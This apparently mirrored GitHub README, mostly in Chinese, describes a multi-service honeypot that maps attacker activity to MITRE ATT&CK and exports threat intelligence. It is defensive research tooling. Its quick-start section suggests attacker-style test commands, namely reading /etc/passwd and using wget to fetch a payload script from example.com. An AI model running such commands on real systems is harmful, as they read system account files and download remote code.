retr0nub/ThreatHive
GitHub: retr0nub/ThreatHive
一个集成了六大协议模拟、MITRE ATT&CK 行为映射和实时可视化仪表板的高级多服务蜜罐平台,用于攻击行为分析与威胁情报生成。
Stars: 0 | Forks: 0
```
██╗ ██╗ ██████╗ ███╗ ██╗███████╗██╗ ██╗███╗ ██╗███████╗████████╗
██║ ██║██╔═══██╗████╗ ██║██╔════╝╚██╗ ██╔╝████╗ ██║██╔════╝╚══██╔══╝
███████║██║ ██║██╔██╗ ██║█████╗ ╚████╔╝ ██╔██╗ ██║█████╗ ██║
██╔══██║██║ ██║██║╚██╗██║██╔══╝ ╚██╔╝ ██║╚██╗██║██╔══╝ ██║
██║ ██║╚██████╔╝██║ ╚████║███████╗ ██║ ██║ ╚████║███████╗ ██║
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝
```
[](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/advanced/honeypot-network)
[](https://go.dev)
[](https://react.dev)
[](https://www.gnu.org/licenses/agpl-3.0)
[](https://honeypot-network.carterperez-dev.com/)
[](https://www.docker.com)
[](https://attack.mitre.org/)
*这是一个快速概览。安全理论、架构和完整的演练位于[学习模块](#learn)中。*
## 功能说明
- 模拟 6 种服务:SSH(包含 25+ 命令的虚假 shell),HTTP(WordPress/phpMyAdmin 仿真),FTP(PASV 文件捕获),SMB(协商),MySQL(线路协议),Redis(RESP)
- 捕获攻击者的每次交互:凭据、命令、文件上传、扫描模式、工具指纹
- 结合单事件和滑动窗口检测,将行为映射到 8 种战术下的 27 种 MITRE ATT&CK 技术
- 通过置信度评分和去重提取 IOC(IP、URL、域名、user-agent、凭据)
- 将威胁情报导出为 STIX 2.1 包和防火墙黑名单(iptables、nginx deny、纯文本、CSV)
- 以 asciicast v2 格式记录 SSH 会话,可通过 xterm.js 在浏览器中回放
- 通过 WebSocket 将事件实时流式传输到 React 仪表板,包含攻击地图、MITRE 热力图和会话回放
## 快速开始
```
git clone https://github.com/CarterPerez-dev/Cybersecurity-Projects.git
cd PROJECTS/advanced/honeypot-network
cp .env.example .env
docker compose -f dev.compose.yml up -d
```
仪表板加载于 `http://localhost:3000` 或在线演示 [honeypot-network.carterperez-dev.com](https://honeypot-network.carterperez-dev.com/)。连接到 SSH 蜜罐以查看您的第一个捕获会话:
```
ssh root@localhost -p 2222
```
使用任意密码。运行类似 `ls`、`cat /etc/passwd`、`wget http://example.com/payload.sh` 的命令,并观察事件流式传输到仪表板中。
## 架构
```
┌─────────────────────────────────────────────┐
Attackers │ Hive Backend │
│ │
┌──────┐ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ │
│ SSH │────2222──│──│ sshd │ │ httpd│ │ ftpd │ │ smbd │ │
│Client│ │ └──┬───┘ └──┬───┘ └──┬───┘ └──┬───┘ │
└──────┘ │ │ │ │ │ │
┌──────┐ │ ┌──┴───┐ ┌──┴───┐ │
│MySQL │────3307──│──│mysqld│ │redisd│ │
│Client│ │ └──┬───┘ └──┬───┘ │
└──────┘ │ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ │
│ │ Event Bus │ (fan-out pub/sub) │
│ └────────┬────────┘ │
│ │ │
│ ┌─────┴─────┐ │
│ │ Processor │ (4 worker goroutines) │
│ │ GeoIP │ │
│ │ MITRE │ │
│ │ Store │ │
│ │ Stream │ │
│ └───────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ REST API │ Chi router :8000 │
│ │ WebSocket │ /ws/events │
│ └─────────────────┘ │
└──────────────┬──────────────────────────────┘
│
┌──────────────┴──────────────────┐
│ Frontend │
│ React 19 + TypeScript │
│ Dashboard • Events • Sessions │
│ MITRE Heatmap • Intel Export │
└─────────────────────────────────┘
```
## 服务
| 服务 | 端口 | 协议 | 交互深度 |
|---------|------|----------|-------------------|
| SSH | 2222 | x/crypto/ssh | 带有文件系统、25+ 命令、会话记录的完整 shell |
| HTTP | 8080 | net/http | WordPress/phpMyAdmin 仿真,扫描器检测,漏洞路径陷阱 |
| FTP | 2121 | Raw TCP | AUTH + PASV 数据通道,文件上传捕获(1MB 上限) |
| SMB | 4450 | Raw TCP | NetBIOS 组帧 + 协商响应,SMB1/SMB2 检测 |
| MySQL | 3307 | Raw TCP | 二进制线路协议握手,认证捕获,查询处理 |
| Redis | 6380 | tidwall/redcon | RESP 协议,PING/AUTH/INFO/CONFIG/SET/GET/KEYS |
## 技术栈
**后端:** Go 1.25, Chi v5, nhooyr.io/websocket, pgxpool (PostgreSQL), go-redis, zerolog, Cobra CLI
**前端:** React 19, TypeScript, Vite 6, SCSS (OKLCH tokens), TanStack Query v5, Zustand, Recharts, react-leaflet, xterm.js
**基础设施:** Docker Compose, PostgreSQL 17, Redis 7.4, nginx 反向代理,多阶段构建
## API
| Endpoint | 描述 |
|----------|-------------|
| `GET /api/health` | 包含版本和 sensor ID 的健康检查 |
| `GET /api/stats/overview` | 总事件数、按服务分类的事件数、活跃会话 |
| `GET /api/stats/countries` | 按国家/地区分类的事件统计 |
| `GET /api/stats/credentials` | 捕获次数最多的用户名/密码对 |
| `GET /api/events` | 带有 IP 过滤的分页事件 |
| `GET /api/sessions` | 分页会话列表 |
| `GET /api/sessions/{id}` | 包含命令和技术的会话详情 |
| `GET /api/sessions/{id}/replay` | 用于会话回放的 asciicast v2 记录 |
| `GET /api/attackers` | 包含地理位置和工具信息的攻击者列表 |
| `GET /api/mitre/techniques` | 完整技术目录 |
| `GET /api/mitre/heatmap` | 用于热力图的技术检测计数 |
| `GET /api/iocs` | 分页 IOC 列表 |
| `GET /api/iocs/export/stix` | STIX 2.1 包导出 |
| `GET /api/iocs/export/blocklist` | 黑名单导出(纯文本、iptables、nginx、csv) |
| `WS /ws/events` | 实时事件流 |
## MITRE ATT&CK 覆盖范围
Hive 检测跨越 8 种战术的 27 种技术:
| 战术 | 技术 |
|--------|------------|
| Reconnaissance | T1595, T1595.002 |
| Initial Access | T1078, T1190 |
| Execution | T1059.004 |
| Persistence | T1053.003, T1543.002, T1098.004 |
| Credential Access | T1110, T1110.001, T1110.003, T1552.001 |
| Discovery | T1082, T1083, T1046, T1018, T1049, T1016 |
| Lateral Movement | T1021.004 |
| Command and Control | T1105, T1071.001 |
| Impact | T1496, T1485, T1489 |
检测使用两种策略:单事件模式匹配(命令 → 技术)和多事件滑动窗口(5 分钟内 5+ 次认证尝试 → T1110 暴力破解,60 秒内 3+ 个不同服务 → T1046 网络服务发现)。
## CLI
```
hive serve # Start all services
hive serve --config hive.yml # Custom config file
hive migrate up # Apply database migrations
hive migrate down # Rollback last migration
hive migrate status # Show migration status
hive keygen # Generate SSH host key
```
## 配置
所有设置均可通过 YAML 配置文件或环境变量进行设置:
| 变量 | 默认值 | 描述 |
|----------|---------|-------------|
| `HIVE_SENSOR_ID` | `hive-01` | Sensor 标识符 |
| `HIVE_SSH_ENABLED` | `true` | 启用 SSH 蜜罐 |
| `HIVE_SSH_PORT` | `2222` | SSH 监听端口 |
| `HIVE_HTTP_ENABLED` | `true` | 启用 HTTP 蜜罐 |
| `HIVE_HTTP_PORT` | `8080` | HTTP 监听端口 |
| `HIVE_FTP_ENABLED` | `true` | 启用 FTP 蜜罐 |
| `HIVE_FTP_PORT` | `2121` | FTP 监听端口 |
| `HIVE_SMB_ENABLED` | `true` | 启用 SMB 蜜罐 |
| `HIVE_SMB_PORT` | `4450` | SMB 监听端口 |
| `HIVE_MYSQL_ENABLED` | `true` | 启用 MySQL 蜜罐 |
| `HIVE_MYSQL_PORT` | `3307` | MySQL 监听端口 |
| `HIVE_REDIS_ENABLED` | `true` | 启用 Redis 蜜罐 |
| `HIVE_REDIS_PORT` | `6380` | Redis 监听端口 |
| `HIVE_API_ADDR` | `:8000` | 仪表板 API 监听地址 |
| `HIVE_DB_DSN` | `postgres://...` | PostgreSQL 连接字符串 |
| `HIVE_REDIS_URL` | `redis://...` | 基础设施 Redis URL |
| `HIVE_GEOIP_PATH` | `data/GeoLite2-City.mmdb` | MaxMind 数据库路径 |
| `HIVE_SSH_HOSTKEY_PATH` | `data/hostkey_ed25519` | SSH 主机密钥路径 |
| `HIVE_LOG_LEVEL` | `info` | 日志级别(debug、info、warn、error) |
## 项目结构
```
honeypot-network/
├── cmd/hive/ # CLI entry point
├── pkg/types/ # Shared domain types (Event, Session, IOC)
├── internal/
│ ├── sshd/ # SSH honeypot (shell, filesystem, commands)
│ ├── httpd/ # HTTP honeypot (WordPress, phpMyAdmin fakes)
│ ├── ftpd/ # FTP honeypot (auth capture, upload logging)
│ ├── smbd/ # SMB honeypot (negotiate-only)
│ ├── mysqld/ # MySQL honeypot (wire protocol, query logging)
│ ├── redisd/ # Redis honeypot (RESP commands)
│ ├── event/ # Event bus + processor pipeline
│ ├── store/ # PostgreSQL + Redis persistence
│ ├── mitre/ # ATT&CK technique detection engine
│ ├── intel/ # IOC extraction, STIX export, blocklists
│ ├── api/ # REST + WebSocket dashboard API
│ └── ... # config, geo, ratelimit, session, ui
├── frontend/ # React 19 + TypeScript dashboard
├── migrations/ # PostgreSQL schema (goose format)
├── infra/ # Docker, nginx, Redis configs
├── learn/ # Learning modules
└── compose.yml # Production Docker Compose
```
## 学习
| 模块 | 主题 |
|--------|-------|
| [00 - 概述](learn/00-OVERVIEW.md) | 前置条件、快速开始、项目结构 |
| [01 - 概念](learn/01-CONCEPTS.md) | 蜜罐理论、协议模拟、MITRE ATT&CK、IOC 类型 |
| [02 - 架构](learn/02-ARCHITECTURE.md) | 事件驱动设计、数据流、设计模式 |
| [03 - 实现](learn/03-IMPLEMENTATION.md) | SSH shell 模拟、MySQL 线路协议、FTP 状态机 |
| [04 - 挑战](learn/04-CHALLENGES.md) | 添加 Telnet/SMTP、部署到 VPS、ML 异常检测 |
## 常见问题
**多次启动时出现 SSH 主机密钥错误**
```
ssh: handshake failed: ssh: no common algorithm for host key
```
删除 `data/hostkey_ed25519` 并重启。系统将自动生成新密钥。
**PostgreSQL 连接被拒绝**
确保数据库正在运行。使用 Docker 时:`docker compose up -d postgres`。检查 PostgreSQL 是否正在监听 5432 端口。
**前端 WebSocket 未连接**
Vite 开发服务器将 `/ws/*` 代理到后端。在启动前端之前,请确保后端正在 8000 端口上运行。
## 法律免责声明
此工具专为授权的安全研究和教育目的而设计。在您不拥有或不受您控制的网络上部署蜜罐可能会违反当地法律法规。在部署之前:
- 确保您已获得网络所有者的授权
- 检查您的云服务提供商的可接受使用政策(部分提供商禁止使用蜜罐)
- 请注意,蜜罐会收集攻击者数据,其中可能包含受隐私法规(GDPR、CCPA)约束的个人信息
- 请勿将捕获的数据用于攻击目的
- 如果部署在公网 IP 上,请了解您正在邀请潜在恶意攻击者的连接
作者不对滥用本软件的行为负责。
## 许可证
AGPL 3.0
标签:EVTX分析, Go, React, Ruby工具, Syscalls, 威胁情报, 安全, 开发者工具, 搜索引擎查询, 攻击行为分析, 攻防研究, 日志审计, 测试用例, 蜜罐, 证书利用, 请求拦截, 超时处理